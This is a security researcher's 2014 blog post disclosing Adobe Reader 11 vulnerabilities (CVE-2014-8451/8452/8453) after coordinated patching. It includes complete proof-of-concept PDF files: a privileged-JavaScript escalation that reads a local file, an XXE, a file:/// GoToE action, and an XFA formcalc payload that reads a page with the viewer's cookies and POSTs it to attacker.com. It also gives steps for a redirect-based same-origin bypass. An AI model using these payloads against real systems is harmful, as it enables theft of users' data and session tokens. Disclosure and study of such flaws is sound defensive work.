InsertScript: December 2014

/*UPDATE */
@irsdl brought two import links to my attention:
2010 formcalc: http://t.co/6OfGLa9Cu1
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN

It seems like Adobe knew about the SOP issue since January 2013.
I rediscovered the SOP Bypass + formcalc feature.

I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.

GotoE or GotoR - No Protocol Restrictions

Status: Unfixed
Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to
tell PDF to load PDFs from a different location.
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.
In context of webbrowsers it gives you the possibility to iframe the local file system etc.
Javascript and VBscript were forbidden, so no XSS possibility :/

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
 /Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)
>>
endobj
trailer
<<
/Root 1 0 R
>>

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed
Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well
https://molnarg.github.io/cve-2014-0521/

There are two major steps to get privileged Javascript execution:
1) Get our function marked as a trusted or trust propagator function
2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,
but one specific predefined function helped a lot. See yourself:

The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.
Lets say, this wasn't the best idea ;)
The first major step is done.
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.
Lets have a look at the following pre defined function:

We can influence doc.path.match and let it point to our trustedproperty function.
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.
The PoC reads a local file from C:\test.txt:

Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
 /Type /Action
/S /JavaScript
/JS (
function test(a)
{
app.beginPriv();
var file = '/c/test.txt';
var secret = util.stringFromStream(util.readFileIntoStream(file, false));
app.alert(secret);
app.endPriv();
}
obj={path: {match: test}, root: test};
obj=ANTrustPropagateAll(obj);
ANStartApproval(obj);
)
>>
endobj

trailer
<<
/Root 1 0 R
>>

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed
Reality: Not Fixed

This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:

7 0 obj
<<
 /Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj

The Impact is limited because
o) it is limited to same origin
o) HTML Pages break the xml
o) Dynamic Entities are not supported
o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.

But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed
Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");
Post("http://attacker.com",content);

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.


% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

% modified by insertscript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>
<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
     var content = GET("myfriends.php");
                   Post("http://attacker.com",content);
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.

InsertScript

Saturday, December 13, 2014

Multiple PDF Vulnerabilities - Text and Pictures on Steroids

GotoE or GotoR - No Protocol Restrictions

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Same origin policy bypass in Reader (CVE-2014-8453)